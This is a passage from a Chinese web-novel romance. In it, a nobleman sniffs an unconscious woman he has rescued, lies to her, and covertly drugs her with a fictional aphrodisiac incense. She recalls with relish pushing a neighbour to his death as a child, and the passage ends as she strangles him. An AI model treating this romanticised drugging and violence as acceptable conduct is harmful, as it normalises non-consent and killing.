早起,闰禾又同他讲被派去跟着余从姝的一名探子无故失踪,到现在也没消息...... 而此时,他坐在画舫中,望着渡口余从姝来往搬货的身影,对方纤而薄的脊背被压弯、脚步虚浮,汗打湿了她的鬓发,发丝黏连在主人透着异样红晕的瘦白脸颊上。 她病了。 这一认知犹如兜头冷水,却没能浇息言奉灵心腹暗燃的那团火,反倒惹得浓烟滚滚,呛得人坐立难安。 郑府人是都死光了么? 还是他郑寻景蠢毒入眼,盲了瞎了? 这么大一个人生病都没发现? 言奉灵一瞬间攥紧了手中的杯盏,用力到骨节青白。不过少顷,他却又缓缓松了力道,秾丽眉眼间逐渐浮现出一抹浅笑来。 很好,他要的就是这样。 最好郑府快些拒婚将人撵出来,这样他便能及时出现带走余从姝,而后照顾她、关切她,给她尊严、金钱、地位,让对方清楚地意识到比起郑寻景,他才是更好的选择。 让她对初见他后的遗忘、再见时的忽视,三见时的冷淡悔恨不已。 最后令余从姝一辈子离不开自己的同时,告诉父亲,你是错的。 言奉灵虽是这般想,可当余从姝走着走着忽然晕倒在地时,他几乎是立刻便喊人落轿,冲了过去。 *** 银丝笼内,安神香袅袅晕开,同屋外的夜色一样安静。 “你们都先出去。” 主子下了令,仆从们不敢耽搁纷纷放下手中活计出了屋,临走前不忘带上房门。 旁的人一走,屋内空气瞬间清新不少。 言奉灵放下手中饮了大半的茶盏起身,脚步无声地踱到余从姝的榻前。 后者身上携的那只布包已被仆从们摘下,放到了一旁的小几上,此时布料委顿下去显得鼓鼓囊囊的。 言奉灵心生好奇,于是抬手拿过布包旋开扣子,一样样地仔细端详起里面的东西来。 入眼先是一沓码放得整整齐齐用细麻绳扎好的空白信笺。言奉灵摸着触手光滑又厚实的信纸,禁不住轻笑了声——余从姝代写一封信收费不超过十文,然而光是一张信纸的成本就有七文。 看来日后绝不能让她帮忙打理香行的生意,否则定会赔得血本无归。 言奉灵放下信笺,转而拿起一布帕包裹的物什,打开一看是半块胡饼,胡饼边缘还有几个清晰可见的牙印。 言奉灵望着那几个牙印,忽然有些好奇手中饼子到底有多硬,随即低头咬了口。 花了些力气,言奉灵才将那口饼给咬下来,皱着眉在口中嚼了又嚼,许久之后才勉强咽下去。 吃惯了精面细肉的喉管被拉得泛起刺痛,言奉灵几番忍下想吐的冲动,才从后味中品出一丝丝面粉所独有的香甜。 像鸡肋,食之无味弃之可惜。 言奉灵蹙眉,心道余从姝这些天一直吃它,都不会腻么? 将剩下的胡饼重新包好后,言奉灵又从中翻到了一个长条木盒,打开一瞧发现里面躺着支雕了大半的桃木簪。 木簪已雏形初现,簪身略有些坎坷还没有经过仔细打磨,簪头却已是精雕细琢过,两团祥云挨凑在一起,是江州早已过时许久的纹样。 簪头正中央还嵌着颗黄豆大小的绿松石,很小,颜色也蓝得不纯粹带着丝丝缕缕的褐色铁线。 是搁平常,言奉灵收了会命人赶快丢掉的程度。 长指把玩着簪子,指腹抚摸过有些凹凸不平的簪身,言奉灵几乎可以想象得出余从姝雕刻它时的场景。 昏黄烛光下,年轻女人垂着眼睛,唇瓣微抿,面上的神情是同她写信时那样,专注、认真。 仿佛世间只剩自己,所有外物都不会惊扰到她。 言奉灵指腹来回捻了捻簪身,心想先前怎么没发现余从姝竟还有这手艺? 做来送予谁的? 此念头刚出,一抹身影便如银蓝闪电劈进了他的灵台。 言奉灵指节陡然痉挛了下,甲缘在簪头靠下的位置掐出一条清晰的划痕,虽浅,但再抚不平整。 言奉灵深深盯着那划痕几瞬后才又转开眼。料想这簪子定然是余从姝雕来卖钱的,她还有个常年卧病在床的祖母要养,她很缺钱。 这是自己的机会。 再说......确是送给郑寻景的又能如何? 言奉灵笃定郑寻景不会收下它,正如拒绝那包云霜片一样。 素来锦衣玉食、穿金戴银的大家少爷,在收到她人亲手做的簪子时,是不会觉得对方心意难得、待己真诚的。 他只会因这配不上自己身份的廉价东西,而深深地感到被侮辱。 余从姝当真是天真可怜啊。 想到这儿,言奉灵眉眼间积蓄的阴云骤散,缓慢而又真切地笑了起来。他动作施然地合上了盖子,将簪子放回了原处。 包里最后一样物什,是本医书。 言奉灵将书拿在手中,瞧见封皮上写着‘素问’二字。尽管他对医术不感兴趣,却也知是本记载基本医理知识的书,郑寻景到哪都不离手捧着的便是它。 联想到这几日余从姝收摊后便往万康药堂跑的异常行为...... 言奉灵随即翻开了手中的《素问》,一页又一页,直到后三分之一处才陡然停下。 入眼是朱墨两色写就的蝇头小楷,密密麻麻足有十几页。 黑墨以作行文注释、常见病例,用词言简意赅、条理清晰。 赤墨则拿来绘图,人体器官、经络、穴位,图像惟妙惟肖、栩栩如生...... 皆是余从姝的笔迹。 忽然,言奉灵的耳边响起那日郑寻景的话。 【别提了,错过了一堂医理课,害得我后面学得都有些吃力,都怪那个姓余的木头......】 言奉灵面色蓦地变得有些青白,觉得眼前书面上的那些个小字当真变成了只只蝇虫,嗡嗡振翅起来,吵得他头昏脑胀,眼晕恶心。 恶心、恶心、恶心! 心脏砰砰跳得剧烈,言奉灵骤然起身朝对面炭盆走去想要烧了这祸害,然而待快要接近时脚步却又忽地顿住了。 攥着书脊的长指松了又紧紧了又松,室内烛光摇曳,将言奉灵的神情也映得明明灭灭,看不真切。 不过须臾,言奉灵面色重又恢复如常。腹中敲定主意后,他将手中书皮掐得打褶的《素问》塞进布包,重又站回了余从姝榻边。 言奉灵垂睫,居高临下地望着榻上此刻正安静沉睡的年轻女人。 要写就那样详尽的图文注释,你究竟得花多少心思 呢? 病成那样也要去渡口扛货,纵使生活已捉襟见肘也坚持不向郑府求援。 可是你来江城求亲的目的分明不是想要过更好的生活么? 你可知,郑寻景那个蠢货是如何看待你同他的婚约的,又是如何对你之事避之不及。 余从姝啊余从姝,你什么都不知道,还傻乎乎地为他做这做那。 当真可怜可笑...... 言奉灵自喉间溢出一声轻嗤,眸光如流水无声淌过榻上人淡而清冷的眉眼、瘦鼻,遇到苍白微抿的唇瓣时停顿了瞬,继而向下,划过纤长脖颈、直且薄的肩膀、小臂,最后落在距他最近的手腕处。 方才他仔细检查过余从姝,发现她衣物并无熏香,周身也未佩戴香囊、福袋。 那便只有一种可能...... 安神香寂静焚烧,向来扰人的蛩鸣也在今夜变得格外乖巧,只余窗外圆盘似的玉兔在深蓝的天幕上无声轮转。 须臾,言奉灵忽然抬手,轻易攫住了面前余从姝的那节手腕。 不似上次的一触即分、蜻蜓点水,手中真实略带分量的触感令言奉灵的心情蓦然放晴。 他不由自主地扬起了嘴角。 或许是在发烧的缘故,今晚余从姝指尖的温度要比上次高上许多,待言奉灵回过神儿时才发现自己无意间揉捏摩挲了许久。 言奉灵深吸了口气,压下心脏处莫名涌起的热意,而后微微俯身,缓慢凑了上去。 他只是好奇而已。 好奇纯洁处男身上的体香,也会出现在女子身上么? 意料之中的,余从姝指尖的香味很淡,指根处还因为搬运重物而磨出了水泡,被主人挑破后露着粉红的嫩肉,散发着血肉破损后所独有的淡淡咸腥。 直移到余从姝手腕处时,言奉灵才遽然停止。 视线里,余从姝的手腕似瓷作得一般,苍白而瘦细。透薄的皮肤下,游走着条条紫蓝色的经络,似龛中缓慢上升的线香。 言奉灵忍不住朝其俯首,抵近了,跃动的血脉像叩门那般一下一下敲击着他的鼻尖,温热而熟悉的浅香似暴雨后的暑巷,随着主人脉搏的怦跳如雾般氤氲开来。 巨大的冲击令言奉灵的思维短暂空白了几瞬,待再回过神时,心跳剧烈到近乎爆开。 与此同时,一股名为满足、愉悦的情绪如潮水般凶悍袭来,令他禁不住哽咽出声,眼角迸溅出几滴泪花。 言奉灵的心跳只乱了片刻便逐渐变得与余从姝的同频,这让他恍生出了一种二人本就一体,如今终于合二为一自此休戚与共的错觉。 渐渐地,香气淡了下去。自余从姝手腕处传来的浅香如同沙漠地沁出的一汪泉眼,饮完许久才不紧不慢地再次溢出丁点,一旁饥渴难耐的人自是等得抓心挠肝。 鼻尖紧抵着余从姝的手腕皮肉,言奉灵胸腹鼓起又深陷,呼吸逐渐深喘。贪婪犹如流沙,不将陷进的猎物吞吃殆尽不罢休。 嗅觉上的狂欢掀起味觉的渴望,口津被快速分泌几乎快要盛放不下。 言奉灵的舌灵活地刮过锐利的牙尖,带来的些微刺痛没有令主人清醒反倒引得其意志愈发堕落。 热汗自他垂着的睫梢滑落,引起一阵轻颤。 言奉灵咽下口中涎津,心中忽然迫切地想要一个答案。 ——余从姝身上的香气尝起来会是何种滋味? 12.十二个好妻主 有那么一瞬间,闰禾想不管不顾、转身就逃,然而此刻的双腿却软得如同面条,两股战战。 屋内,青年已然皱起眉心。 侍候自家公子近十年,闰禾如何不了解这神情背后意味着什么——那是被打扰后的扫兴与不快。 至于打扰者的后果...... 闰禾面色一白,当即后退一步想要重新带上房门。 “进来。” 屋内人忽然出声,语气平淡,令外人辨不清情绪。然而闰禾身后已然沁出了一层冷汗。 他不敢犹豫,在进门后的瞬间便立刻将门合拢,动作迅速而小心。 再抬眼望去时,言奉灵已直起身站在了屋中,双手自然交握在身前,脊背挺拔端得一副如松如竹的雅致姿态。 “公子,余小姐的药熬好了。” 闰禾将手中的托盘放置在茶几上后,弯腰行礼,语气小心。 言奉灵不言不语踱步到药碗前,长指拈起匙柄,慢条斯理地搅动起其中汤药来。 黑褐色的药汁清晰地映出他修长到过分的如玉指节,以及食指根上戴着的那只翠色玉戒。 片刻后,闰禾再抵不住周身威压,咚地一声跪在了青年脚边:“仆做错了事,还请公子责罚!” 室内顿时陷入一片死寂,唯有瓷勺与碗底偶尔碰撞时发出的几声轻响。 良久,言奉灵才冷冷开口:“瞧见了多少?” 闰禾的呼吸陡然困难起来,随即将头埋得更深了些:“仆不敢,仆发誓自己对公子忠心耿耿,绝不会做任何不利于公子之事。” “回府后,仆愿意受香刑,还请公子息怒!” 话音落下,言奉灵仍是许久未应,手上只一圈圈地搅着药汤散热。 正当闰禾一颗心沉进了谷底,渐渐生出一股绝望时—— “记住你说的话,下不为例。” 言奉灵说罢,端碗徐步走到了榻前,而后一撩前摆坐到了女人手边。 “仆知错,多谢公子开恩!” 顿时,闰禾如蒙大赦,哽咽着连连道谢完,来不及擦眼角的泪水便快步走到案前用香押将燃了大半的安神香给灭了,又支开些窗扇透风。 香雾散尽后不久,榻上昏睡的年轻女人睫梢微动,不多时便缓缓睁开了眼。 尽管失去意识前余从姝便料到了自己会被人救下,可得知对方是谁时,仍几不可察地动了下眉心。 只见摆设淡雅考究的室内被灼灼烛火映得明又亮,言奉灵逆光坐在她身旁,背后的柔软光线为他清瘦的周身镀上了一层淡金色的边晕,如玉般清俊的面庞在阴影下显得愈发朦胧而柔美。 有香气自他身上溢出,温暖而浅淡,带着令人安心的魔力。 言奉灵双眼微弯,心中仿佛长松了口气似地叹道:“余小姐,你终于醒了。” 余从姝闻言曲臂坐起的同时与面前人拉开距离,语气并不算惊讶:“是你救了我?” 言奉灵微微颔首,眸光在瞧见对方远离自己的动作后停滞了半瞬,浅笑开口:“说来也巧,当时灵恰好路过,发现余小姐竟倒在了路旁,情况危急这才......” “多谢公子搭救,改日在下定登门拜谢。” 得知来龙去脉后,余从姝掀被而起,说着便要下榻穿鞋。 言奉灵心肉一跳,立刻出声阻拦:“你、你风寒未愈,大夫交代还是要多休息的为好。” “无碍。” 余从姝看了眼窗外天色,摇了摇头:“眼下时辰已然不早,在下该回去了,否则郑府的人会担心。” 闻听此言,言奉灵忽地想起余从姝布包中妥帖收起那些个物什,心中刚压下的躁郁之气又起,长指无意识地扣紧了碗边。 然而面上语气依旧温和:“余小姐放心,灵已然派人前往郑府告知此事,只是时间已晚,府门落锁,郑府值夜的小厮回话说不便再开门。” 话音既落,言奉灵如愿瞧见了对方蓦地凝滞的脸色,以及眸底一闪而过的落寞。 他唇角微勾,就是想要余从姝清楚明白——下人们都是趋炎附势、踩高捧低的。 正是因得郑寻景这个主子不在乎你、轻视你,郑府下人们才会有样学样地怠慢你。 纵使你同他们府中最受宠的少爷定有婚约又能如何?对方一日不承认你的身份,小厮们便一日不敢冒险为你得罪主子。 自然也无人会关心你是否夜不归宿、出了什么意外。 当下,只有他...... 然而很快,言奉灵便见余从姝的神情恢复如常。显然对方在郑府中受过不少这种冷待,心中早已习以为常。 不知怎的,言奉灵胸中郁气莫名又多了几分。 余从姝是泥捏的么?! 无声深纳了几口气,言奉灵这才启唇转移话题:“余小姐不如先把药喝了,自己身子最重要。” 说着,他将手中已晾得温热的药碗朝余从姝面前送了送,贴着碗壁的透白指尖此刻正朝外沁着绯红,隐约还带着细颤,显然是被烫到了。 余从姝垂眸望着碗中黑乎乎的药汁,联想对方一次二次阻拦自己离开的举动,忽然叩了叩脑内系统:“打个赌?” 6688语气一下紧张起来:“你想做什么?” 余从姝:“赌这碗里有没有毒,有,我杀了他;没有,我放过他。” 6688刚想说什么,却被余从姝截断了话头:“别找借口,你不是刚向上级申请下来宿主健康检测权限?” 不给系统拒绝时间,余从姝直接拍板:“就这么定了。” 随后,她径直接过言奉灵手中的瓷碗,一口气饮尽了药汁。 反应过来的6688急得想要骂人:疯子、疯子!明知道男配对自己可能不怀好意,竟然还敢喝来历不明的东西! 余从姝咽下口中酸苦的药汁,随后下榻朝言奉灵施了一拱手礼:“再次多谢公子搭救之恩。” 言奉灵没料到余从姝喝药竟如此干脆,方才他尝过一点苦得舌尖到现在还是麻的。这厢,他刚拿了颗蜜饯准备递给对方,再一转头便见余从姝已然下了榻。 言奉灵心肉一跳,下意识伸手去扶:“不必多礼、” 余从姝却在此时朝后退了一步避开了他,双臂仍保持着施礼的动作,眼睫微垂话声客气又疏离:“言公子救命之恩,在下没齿难忘。” “如今夜色已深,在下既醒便不好再叨扰公子,改日某定备厚礼去府上拜谢。” 见余从姝这便打算离开,门边的闰禾下意识要替自家公子去拦,熟料后者的声音竟比他还要快上半分。 “余小姐言之在理,可如今城内隐约有些不太平,这夜半三更余小姐万一出了什么事......” 言奉灵缓缓收回手,嗓音柔和中带着担忧:“灵又该如何向寻景弟弟交代呢?” 江城允许夜市,只有每月特定的几日才有宵禁。可即便在非宵禁日,入夜后人们也大多选择闭门不出,以免发生事端。 话音既落,言奉灵果见余从姝面上流露出几分踌躇来。 宽袖下,他缓缓收紧了十指,直觉得指尖钝钝火意隐约蔓延至了胸腔里,有些喘不过气。 只能如此吗? 只有搬出郑寻景,不论是真是假,她才会顾忌、才会考虑、才会......在乎。 “可.......” 余从姝话刚开头,便被对面突如其来的哽咽声给打断了。 余从姝蓦地抬眼,只见对面坐着的青年双眼微垂,纤长浓密的眼睫像羽扇般在主人的睑下投出一小片阴影。 待对方再抬起眼时,琥珀色的眼眸里泛起显而易见的隐忍与委屈,下垂微红的眼尾处早不知何时沁出了点点晶莹水光。 对方同她对视一眼后便倏地转开了视线,将头垂得愈低了。 “即便、即便余小姐不喜在下,也请看在寻景弟弟的面子上、委屈一晚。” 言奉灵咬唇,向来清润动听的声音中如今带上了一丝喑咽,听上去我见犹怜。 余从姝的视线直直落在对方殷红仿佛正沁着血似的眼尾上,那弧度如同一把祭过刃、异常锋利的弯刀,轻易便能划开猎物的皮囊。 余从姝的喉头无意识吞了吞,语气却正色道:“公子误会了,在下从未这般想过。” 对面的言奉灵闻声眨了眨眼,宽袖下紧攥的十指稍稍松了力道。 余光中,年轻女人正微敛着眉,望着他的神情十分真诚:“在某看来,公子既与寻景是至交好友,品性自然也同他一样聪慧良善,是世间难得的好儿郎。” 对方不善言辞,即便恭维起人来也用词陈旧、一板一眼,但在提及郑寻景时,向来淡漠的神情显而易见地柔软了些,苍白面颊甚至隐约泛起飞红。 像昏暗中打花的盘香,异常的扎眼。 言奉灵的呼吸重重一沉。 “总之,还请公子莫要再妄自菲薄。”说罢,余从姝方移开视线,朝对方拱手再次行了一礼。 闻听此言,言奉灵眼尾几不可察地痉挛了下,还含着泪的眸子险些没忍住,流露出切实的讥诮来。 聪慧、良善,是世间难得的好儿郎? 他竟不知余从姝心中竟是如此看待的郑寻景。即 便对方拒绝承认与她的婚事、蔑视她的出身、抗拒她的接近、抵触她的讨好...... 余从姝却依旧将他当个宝。 她是被郑寻景的愚蠢传染了么? 紧随而来的,还有被冒犯后升起的恼意。 自小到大,言奉灵听过太多对比与夸赞,旁人都道他与郑寻景虽同为江城双骄,而他无论是外貌、性情抑或是家世,都略胜对方一筹。 今日倒是头一遭,他被排在了郑寻景之后...... 哈,余从姝竟将他排在郑寻景之后。 言奉灵暗自深吸了好几口气,将眸中翻涌不休的阴云尽数敛净后,才起身颔首屈膝,优雅地朝余从姝又回了一礼。 随着他低头的动作,一截纤长白皙的后颈在余从姝的眼前一晃而过。像剥皮后的嫩笋、像细口的白瓷瓶、像亭亭的玉兰花茎、像覆了层霜的苇杆...... 余从姝确信,折断它时的声音一定十分清脆。 “如此,灵便安心了。”言奉灵声音清泠泠,带着克制的欣喜。 随即,他又湿润着一双眼,语带希冀地问余从姝:“所以......” 后者沉默几瞬,终是应了下来:“那便叨扰了。” 说话间,街上隐约传来打更声,屋内几人这才恍然原不知不觉间已到了夜半时分。 再待下去显然不合适,言奉灵柔声对余从姝讲了大夫对她病情的嘱托,末了关切地劝道:“余小姐虽年富力强,却也要珍重自个儿身子才是,若再遇到今日之事,可真是要吓煞旁人了。” 言奉灵蹙眉:“灵现下回想起来,还心有余悸呢。” 余从姝立刻语带歉意地说:“惊扰了公子,是在下的错。” 闻言,言奉灵哑了瞬,心中郁结地叹了口气——真是个书呆子,他分明不是那个意思。 二人明显话不投机,言奉灵作势离开,然而脚步却在走出门的前一瞬又停驻了。 他转过身,低低问眼前人:“余小姐那夜,当真没去过沁竹巷?” 随即,言奉灵又添了句,“灵一直在找个人,她于灵有恩。” 说话间,青年的一双琥珀眼紧凝着余从姝的脸,不肯错过一丝一毫的变化。 那日得到否定答复后,言奉灵思来想去,料定是自己当时的话说得太过含糊引起了歧义,当时又是在人来人往的街市,有些私事确实不方便讲。 而今晚不同,言奉灵直接选择挑明,闰禾又是他的心腹,余从姝不用再顾忌其他,总不能再否...... “那便祝公子早日寻得此人。” 余从姝的声音客气又平淡,面上的神情更是丝毫变化未起。 言奉灵一下怔在了原地,清艳眉眼间流露出难以置信来。 为什么? 他心中不断诘问。 为什么余从姝仍不肯承认那晚救人的就是她? 是怕担责么? 可他方才不是明明白白地说过,她对自己有恩么? 恩、报恩、 猛地,言奉灵心脏重重一跳,砸得胸腹一阵酸胀。 余从姝是怕自己纠缠她么? 还是怕他像话本子里写得那般,要以身相许来报答她的救命之恩? 以及不想与他这个郑寻景的好友有过多牵扯,担心对方见了误会? 言奉灵心脏越跳越快,牵扯着额角青筋也突突跳了起来,眼尾缓慢渗出绯意。 郑寻景对她来说就这么重要? 他言奉灵到底哪里比不得郑寻景! “公子、公子!” 好半晌,言奉灵才在闰禾的呼唤声中醒过神儿来,一抬眼正瞧见余从姝略带疑惑地望着自己,心下当即一紧。 “不好意思余小姐,我家公子这几日太过劳累,有些精神不济。”闰禾适时在一旁打着圆场,说完便上前扶住了言奉灵的手臂。 言奉灵随即垂下眼帘,同微蹙的长眉一起为他本就出众的容颜又添一笔动人风情。 他语气倦寞:“抱歉,灵听到这个消息一时有些、让余小姐见笑了......” 女男之间,欲言又止的话,往往最能撩动人的心绪,令其辗转反侧、夜不能寐。 说罢,言奉灵不甘心地拿余光偷觑面前人。 余从姝面上疑惑散去,恢复了以往的平静淡漠:“公子言重了。” 腹内郁气冲撞,言奉灵只得愈发收紧袖中十指以此忍耐。 这厢,闰禾刚扶着自家公子出屋,二人还未走出去多远,身后便忽地传来了余从姝的声音。 “言公子且慢。” 13.十三个好妻主 闻听此言,一股莫名的期待自言奉灵胸腹涌起,他几乎是立刻便转过了身。 余从姝正对上他明亮的视线,顿了顿,道:“在下想问,公子救下某时,可见到了某身上的挎包?” 说着,余从姝伸手比划了一下大致长宽又说了颜色。 一旁的闰禾见状张了张口,刚想接话,却被自家公子抢了白。 “灵哪里见的。” 青年凉幽幽还带着些许怨气的话一出,闰禾讶异转头,那挎包他们明明不是也捡回来了? 意识到自己语气的不妥后,言奉灵反应迅速,再出声时就又恢复了先前的柔和,带着隐隐的担忧:“许是被过路人捡去了罢,里面的东西贵重么,不若明日一早便去报官?” 余从姝放下手:“不重要,算了......某再重头置办便是。” 瞧见余从姝面上一闪而过的失落时,言奉灵心底不可遏制地升起几分快意,可得知对方打算重头置办后,那丁点快意又迅速化成了石头哽得他呼吸艰涩。 言奉灵喉结动了动勉力将其压下,这才冲余从姝又一颔首,带着闰禾离开。 *** 此时已过夜半,言奉灵眉眼间萦绕着倦怠之色,然而整个人却全无睡意。 墨蓝色天幕上月明星稀,院内乍起的冷风吹乱了他的鬓发,却如何都灭不掉他胸腔中越燃越旺的黑色火焰。 未在风中停驻多久,言奉灵便忽然开口:“去,差人回府给我将还欲香取来。” 身旁的闰禾闻言面露惊愕,下意识道:“公子,那还欲香需得以精血为引,你、” 言奉灵乜向他,侧脸冰寒,一字一句道:“拿来,别让我重复第二次。” “是,仆这就去办!” 闰禾脸色一白,当即噤声离开了。 乌云笼月的瞬间,倾泄在青年肩头的银白光华陡然被阴影所取代。 寒凉的夜风呼啸而过,引得言奉灵衣袂蹁跹不止,上好玉珠串成的压襟穗也在此寂静夜色中欢快地发出清脆声响。 言奉灵置若罔闻,微眯起的狐眼视线牢牢锁定不远处早已暗下许久的窗棂。 还欲香——以男子精血为引,点燃后,凡是嗅到其香雾的女子,能立时勾起内心深处对此男子的欲望,哪怕只产生过一瞬的妄念,也会百倍、千倍地被放大,令其情难自控,陷入疯狂渴求的地步。 小半个时辰后,还欲香被取来,由闰禾端着呈到青年面前。 言奉灵长眉紧蹙,语气不虞:“取个香而已,怎的手脚这般慢?” 闰禾立刻解释说:“回公子,方才仆取香时,遇见了主君,便耽搁了一会儿。” 闻言,言奉灵合香的动作微顿,很快又恢复如常:“他同你说什么了?” “主君他、他让仆提醒公子,要三思而后行,切莫冲动。”闰禾快速转动着眼珠子,心中疯狂斟酌着合适的措辞。 言奉灵听罢唇边当即扯出一丝冷笑,自己竟不知,他那位巴不得儿子遭报应的爹,竟还有如此关心他的时候。 大抵是真话太难听,闰禾不好转达。 事实也正如言奉灵料想的那般。 回想起方才主君的话,闰禾心中不由地长吁短叹起来,即便他知道自家公子与主君关系向来势如水火,可公子到底是对方身上掉下来的肉哇,主君身为父亲怎么能用如此、如此过分的话来揣度自己孩子呢? ——“小贱蹄子用这烈香是想让那女子死在他身上么?” 所幸言奉灵并未紧抓此事不放,闰禾得以蒙混过关。 这厢,言奉灵刚拿起银针还未进一步行动,闰禾没忍住再次忧心劝道:“精血宝贵,公子又体质特殊不比常人,一旦亏损半年内都恐难再补回,还请公子三思!” “无妨,我心中有数。” 言奉灵说罢,用银针毫不犹豫地刺破了自己的食指指腹。 望着深红发黑的血滴与香粉缓缓交融在一起,言奉灵深深吸了口气,觉得胸中郁火熄灭了大半,终于不再像方才那般炙烤得他肺腑煎熬了。 “拿去,你知道该怎么做的。” 吩咐完闰禾,言奉灵慢条斯理地吮去指尖残血,原本便嫣然的唇瓣经血色浸润后,愈发妖艳灼目。 幽冷月光重映在他脸上,衬得他面上肤白唇红秾昳如同妖魅。 言奉灵不想报恩了。 余从姝既不肯承他的恩,那他便教她欠自己的情,永远都还不完。 闰禾得了还欲香后不敢耽搁,轻手轻脚地走到余从姝窗下,用头上的簪子小心翼翼地将窗纸戳了个洞。 不远处茂密花树下,言奉灵望着那缕绯红香雾如游蛇般灵巧地穿过窗洞潜入了女人室内,唇畔终于露出一丝快慰的笑。 片刻后,他拂袖转身,径直入了同余从姝正相对的南屋,中间只隔了个小小的花苑。 当下只她二人檐下点了灯,言奉灵丝毫不担心余从姝寻不着自己。 与此同时,屋内的余从姝并未如主仆二人所预想的那般已陷入沉沉昏睡。 余从姝斜靠着床枕,望着窗棂右下角溃破的那只小洞,黑乎乎的,像极了她看过的那些cult片里人体中弹后的伤口。 紧接着,便有‘血’流了进来,一路汩汩淌进余从姝的鼻腔。 熟悉的铁锈味中夹杂着陌生的甜腻,像大嚼了一口被血浸泡过的跳跳糖。 噼里啪啦,无数光点在余从姝眼前炸开,她瞳孔骤缩、心跳陡然加快,刚降下去的体温也在几秒钟内极剧攀升,身体反应之大就连双手都不自觉颤抖起来。 鲜少有过的陌生感觉令余从姝一开口,嗓音便喑哑了下来:“系统,你输了。” 6688很想反驳自己没输,可看着屏幕上余从姝瞬间从45飚到210的心跳以及脑部剧烈的神经放电频率,只能干巴巴地回了她一句:“你、你别冲动。” “这或许是个误会。” 说到这儿,系统像是忽然有了头绪了似地,抓住机会劝说她:“对、误会,今天男配刚救了你不是吗,跟踪你的那人你也审清楚了,男配这么做只是想保护你这个恩人的安全......” 6688:“男配细究起来其实没害过你什么,你一不高兴就要把人给打杀了是不是不太好啊。” 然而余从姝却对它的话置若罔闻。只见她无声下榻,赤着脚在屋中缓慢走了一圈。 可惜,没找到趁手的东西。 余从姝在屋中央站定,就着窗边不甚明亮的月光低头盯着自己仍在颤抖的指尖,眼前晃过言奉灵低头时露出的那截白生生纤细的后颈。 多少年了? 余从姝在系统苦口婆心的劝说中兀自出神。 多少年她没再体会过这种感觉? 激动、兴奋、期待。 阻隔在她与世界之间的高墙终于再一次有消融的迹象。 亦如十岁那年,她准备自背后推该死的男邻居坠楼前那样。 失去痛觉对人来说是一种诅咒。没了痛苦的衬托,快乐就失去了色彩。 从小到大,能让余从姝感到期待甚至有些高兴的事屈指可数、寥寥无几。 就连小时候最常看的,以血肉横飞、暴.力犯.罪为卖点的美式cult片如今也无法再轻易挑动她的神经。 而现在,时隔十二年,她幸运地又找到了一件。 黑暗中,余从姝缓慢攥紧了双手。 耳边恍惚传来静如死潭的心湖被人体坠下高楼发出的惨叫砸出的澎湃水花声,久久难歇。 余从姝轻扬了下唇角,又很快抿平弧度。 这次之后,自己又要多久才能再体会一次呢? 她忽然有些怅惘。 *** 摒退闰禾等一干下人后,言奉灵换了身绸缎寝袍,独自一人坐到了榻边。 棂外月光经云母窗扇一滤,再映进屋内时缠绵柔润似稀释后的牛乳,青年原本秾艳而锋利的五官浸在其中,被漫漶出玉琢般的朦胧温韵来。 瀑布般的长发散开,温驯地伏在主人的肩头背上,发尾则隐没在阴影里像条条蛰伏起来的小蛇,一旦猎物靠近便能立刻绞缠上去。 墙角,计时的水漏缓慢翻转一周,溅起的水声惊醒了榻边怔神许久的言奉灵。 他打眼扫去,发现不知不觉间竟又过去了小半个时辰。 还欲香燃不了这么久。 而此时,屋外寂静得仿佛数九寒冬下的夜晚,不见人迹。 荒谬感亦如那寒气,自四面八方缓慢渗进言奉灵的身体,冻得他的骨骼、牙齿忍不住咯吱作响。 余从姝竟对他,毫无欲望么? 此念头犹如一个响亮的巴掌,狠狠地掴在了言奉灵的脸上。 尖锐耳鸣声中,言奉灵嗤嗤笑出了声,双眼阴红深酗。 巨大的被羞辱感仿佛鼠啃虫咬一般,遍布言奉灵的全身,难受得令他恨不得攥碎些什么。 刺啦一声—— 紫红洒金的双莲被面被言奉灵从中撕裂,雪白鹅绒如雾般在他面前蓬蓬炸开。 【小贱人要遭报应了哈哈哈哈。】 【不、你会比我更痛苦......】 【我已经开始迫不及待了呢。】 那晚父亲的话犹如附骨之疽,忽然的发作令言奉灵溃不成军。 “住口!” 言奉灵抄过一旁的软枕疯狂地砸着眼前破裂的并蒂莲被面,一下又一下。 沉闷的响声像重压下的心跳,令玉兔不安地躲进了云层。 屋内霎时黯淡了下来,有那么一瞬间伸手不见五指。 哗啦—— 软枕破裂,内里干枯紫红的牡丹花瓣与圆润珍珠迸溅得到处都是。 一片狼藉中,言奉灵缓缓转头,顺着珍珠滚去的方向望去。 夜色不再浓稠,昏黑阴影中逐渐浮现出一人的轮廓。 高挑、清瘦。 若有似无的熟悉浅香袭来,令言奉灵忍不住喉间哽咽。 水意刺得他双眼酸痛不止、视线模糊,然而他却执着地不肯眨上一眨。 言奉灵需要它来提醒眼前的一切不是自己的幻觉。 父亲的尖刻笑声随着余从姝的到来被逼退,此时的言奉灵从身到心,是从未有过的惊喜畅快。 他踉跄站起身,下意识想朝来人奔过去,却又生生地遏制了下来。 唇瓣因过分的激动在微微颤抖。 “姝娘,快来。” 言奉灵朝对方缓缓张开双臂。 嗓音颤抖,语气蛊惑。 14.十四个好妻主 话音落下几瞬,阴影竟真缓缓走向了他。 一步一步,言奉灵的心跳又重又响,像是对方切实地踩在了他心上。 岩浆般的热意源源不断地自胸口流向四肢,轻易便熔化了言奉灵的肉与骨,他双腿发软、腹中空空,亟需某些东西将身体重新填满。 室光昏沉,夜色浓郁,余从姝整个上半身融进黑暗里,教言奉灵无法瞧清此刻她面上的神容,只看见随她步伐走动而露出的赤.裸双脚。 他呼吸一滞,下意识担心对方风寒未愈,这样做会不会加重病情。 随后才忍俊不禁,为余从姝的迫不及待、一反常态而欢欣得意。 二人仅剩两臂距离时,言奉灵抬步上前拢住了对方肩膀。 染着主人体温的浅香扑面袭来,瞬时间,言奉灵直觉得脑中嗡的一声,意识有半瞬的空白。 血液逆流向心脏,胸腔饱胀得几乎要炸开! 言奉灵本能地挺身贴近眼前人,嗓声轻颤:“姝娘,你终于来呃——” 熟料他话还未说完,颈上便是一紧,剩余的字词直接被掐断。 余从姝一言不发,手中一个用力将言奉灵推得连连后退,咚地一声重重仰倒在床榻上。 二人周身的鹅绒、花瓣被扑得飞起又纷扬落下,被面散落的珍珠一下咯软了言奉灵的腰身。 青年双手下意识抱紧了余从姝的小臂,前者白皙而光艳的脸颊迅速涨红起来。 “姝、姝娘......” 呼吸不畅令言奉灵深深心悸的同时忍不住小幅度地挣扎起来。 扭动间,言奉灵的腿侧撞到了余从姝的腰身,意识到二人此刻的姿势,他不免懵怔了瞬。 她、她在榻上竟然喜欢这样么? 